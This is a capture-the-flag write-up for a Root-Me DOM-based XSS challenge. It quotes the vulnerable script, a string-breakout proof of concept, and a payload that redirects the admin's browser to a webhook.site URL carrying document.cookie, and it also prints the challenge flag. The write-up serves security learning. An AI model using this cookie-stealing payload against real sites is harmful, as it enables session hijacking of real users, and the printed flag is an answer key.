Challenge Info#

1
🧨Challenge_name ==> XSS DOM Based - Introduction
2
🧠Challenge Diff ==> Medium
3
💯Challenge Score ==> 35
4
📝Challenge Disc ==> Steal the admin’s session cookie.
5
📚Challenge Category ==> Web - Client
6
👾Challenge flag format ==> rootme{...sOmeTHings...}

At first, I visited the challenge URL and saw this page: Ok i see two path, First path is Contact, for Contact with admin (Using this form for hijacking admin cookie) and next path is main page with an input

Ok next step i enter random number like 10 in input and now i see this script in source.

1
<script>
2
    var random = Math.random() * (99);
3
    var number = '10';
4
    if(random == number) {
5
        document.getElementById('state').style.color = 'green';
6
        document.getElementById('state').innerHTML = 'You won this game but you don\'t have the flag ;)';
7
    }
8
    else{
9
        document.getElementById('state').style.color = 'red';
10
        document.getElementById('state').innerText = 'Sorry, wrong answer ! The right answer was ' + random;
11
    }
12
</script>

Easy! now i need to send this exploit:

http://challenge01.root-me.org/web-client/ch32/?number=10%27;alert(origin);//

Niiiicee!!🎉 Now i found xss vulnerability Ok, next step is to hijacking admin’s cookie. but how? Answer is contact form. For hijacking cookie i use Webhook.

Webhook.site — a simple service to capture and inspect HTTP requests in real time.

when admin click on this exploit:

http://challenge01.root-me.org/web-client/ch32/?number=10%27;document.location = `https://webhook.site/WEBHOOK_ID?cookie=${document.cookie}`;//

After a few seconds, i give it😈:

Flag

rootme{XSS_D0M_BaSed_InTr0}